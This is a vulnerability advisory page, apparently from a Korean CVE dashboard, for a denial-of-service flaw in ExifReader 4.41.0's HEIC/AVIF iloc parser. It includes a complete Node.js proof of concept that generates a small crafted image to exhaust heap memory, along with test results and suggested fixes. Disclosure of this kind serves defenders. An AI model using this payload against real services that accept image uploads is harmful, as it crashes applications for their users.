Kestrel
대시보드로 돌아가기
CVE-2026-85715HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 09. 17.수정일: 2026. 09. 17.

ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion

DoS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

  • npm package: exifreader
  • Version: 4.41.0
  • Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

FieldControls
offsetSizeBytes per extent offset
lengthSizeBytes per extent length
baseOffsetSizeBytes per item base offset
indexSizeBytes per extent index

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

text
1for (let j = 0; j < item.extentCount; j++) {
2 const extent = {};
3 extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
4 offset += sizes.item.extent.extentIndex; // 0 when indexSize=0
5 extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
6 offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0
7 extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
8 offset += sizes.item.extent.extentLength; // 0 when lengthSize=0
9 item.extents.push(extent); // allocates unconditionally
10}

When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:

text
1const fs = require('fs');
2const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');
3
4function u32be(n) {
5 return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
6}
7function u16be(n) {
8 return [(n >>> 8) & 255, n & 255];
9}
10function str(s) {
11 return Array.from(Buffer.from(s, 'ascii'));
12}
13function box(type, content) {
14 return [...u32be(8 + content.length), ...str(type), ...content];
15}
16
17const ITEMS = 10000;
18const EXTENTS = 65535;
19
20const ftyp = box('ftyp', [
21 ...str('heic'),
22 ...u32be(0),
23 ...str('mif1'),
24 0, 0, 0, 0,
25]);
26
27const ilocPayload = [
28 0, 0, 0, 0,
29 0, 0,
30 ...u16be(ITEMS),
31];
32
33for (let i = 0; i < ITEMS; i++) {
34 ilocPayload.push(...u16be(i + 1));
35 ilocPayload.push(...u16be(0));
36 ilocPayload.push(...u16be(EXTENTS));
37}
38
39const iloc = box('iloc', ilocPayload);
40const meta = box('meta', [0, 0, 0, 0, ...iloc]);
41const data = Uint8Array.from([...ftyp, ...meta]);
42
43fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);
44
45console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);
46
47const start = Date.now();
48const timeout = setTimeout(() => {
49 console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
50 process.exit(1);
51}, 30000);
52
53try {
54 ExifReader.load(data.buffer);
55 clearTimeout(timeout);
56 console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
57} catch (e) {
58 clearTimeout(timeout);
59 console.log(`Error: ${e.message}`);
60}

Scaled test results

Run the above with different ITEMS values:

ItemsFile sizeExtent objectsParse timeHeap growth
158 bytes65,5350.03s+4 MB
582 bytes327,6750.17s+16 MB
100652 bytes6,553,5001.74s+401 MB
2561,588 bytes16,776,960~8sOOM crash
1000060,052 bytes655,350,000-OOM crash (4 GB+)
<img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" />

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:

  1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or
  2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

text
1const MAX_EXTENTS_PER_ITEM = 10000;
2
3for (let j = 0; j < item.extentCount; j++) {
4 if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
5 break;
6 }
7 // ... existing code ...
8}

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

text
1if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
2 // Fields are absent per spec; nothing meaningful to read
3 // Still advance offset if extentCount > 0 to maintain correctness
4 continue;
5}

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.